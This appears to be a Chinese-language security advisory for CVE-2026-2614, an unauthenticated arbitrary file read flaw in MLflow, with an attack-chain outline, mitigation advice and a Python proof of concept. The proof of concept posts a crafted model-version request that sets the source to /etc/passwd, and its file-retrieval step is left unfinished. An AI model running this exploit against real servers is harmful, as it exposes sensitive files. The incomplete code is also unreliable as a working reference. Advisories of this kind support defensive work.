IPBUF安全漏洞报告
English
CVE-2026-2614 CVSS 7.5 高危

CVE-2026-2614 MLflow 任意文件读取漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-2614
漏洞类型
任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MLflow

相关标签

任意文件读取路径遍历MLflowCVE-2026-2614未授权访问

漏洞概述

MLflow 3.9.0及更早版本中存在严重安全漏洞。未经身份验证的远程攻击者可利用`_create_model_version()`处理程序中的缺陷,通过发送包含`mlflow.prompt.is_prompt`标签的特制请求,绕过源路径验证。这允许攻击者将任意文件系统路径指定为模型源,进而通过`get_model_version_artifact_handler()`读取服务器上的任意文件,导致敏感信息泄露。

技术细节

该漏洞核心在于MLflow服务器处理模型版本创建时的逻辑缺陷。在`mlflow/server/handlers.py`文件中,`_create_model_version()`函数负责处理创建请求。当请求中包含`mlflow.prompt.is_prompt`标签时,系统会跳过对源路径的常规安全验证。攻击者利用这一机制,可以构造一个恶意请求,将模型版本的`source`参数设置为服务器上的任意敏感文件路径(如`/etc/passwd`或配置文件)。随后,当调用`get_model_version_artifact_handler()`函数来获取模型工件时,系统未对模型是否为Prompt类型进行二次校验,直接根据之前存储的恶意路径读取文件并返回给攻击者。由于该漏洞无需认证且利用难度低(CVSS 3.0/AV:N/AC:L/PR:N),对服务器机密性构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找开放的MLflow服务器实例。
STEP 2
漏洞利用
攻击者向`/api/2.0/mlflow/model-versions/create`发送特制POST请求,包含`mlflow.prompt.is_prompt`标签并将source字段设置为恶意路径(如`/etc/passwd`),绕过服务器验证。
STEP 3
触发读取
攻击者请求该模型版本的工件文件,服务器调用`get_model_version_artifact_handler`直接从文件系统读取攻击者指定的路径内容。
STEP 4
数据泄露
服务器将敏感文件内容返回给攻击者,造成机密性泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_HOST = "http://vulnerable-mlflow-server:5000" API_ENDPOINT = f"{TARGET_HOST}/api/2.0/mlflow/model-versions/create" # Step 1: Exploit the bypass to register a malicious source path # The tag 'mlflow.prompt.is_prompt' triggers the validation bypass payload = { "name": "exploit_model", "source": "/etc/passwd", # Arbitrary file path to read "tags": [ {"key": "mlflow.prompt.is_prompt", "value": "true"} ] } try: print("[+] Sending malicious model version creation request...") r = requests.post(API_ENDPOINT, json=payload) if r.status_code == 200: print("[+] Model version created successfully.") except Exception as e: print(f"[-] Error creating model: {e}") # Step 2: Retrieve the artifact # Note: The exact endpoint to fetch files depends on MLflow routing, # but get_model_version_artifact_handler serves the file directly. print("[+] Attempting to read /etc/passwd via artifact handler...") # This part simulates the internal file server access logic # GET /model-versions/get-artifact?name=exploit_model&version=1

影响范围

MLflow <= 3.9.0

防御指南

临时缓解措施
如果无法立即升级,请限制对MLflow服务器的网络访问,仅允许可信IP地址连接。同时,监控API日志中是否出现包含`mlflow.prompt.is_prompt`标签的异常请求,这可能是正在进行的攻击尝试。

参考链接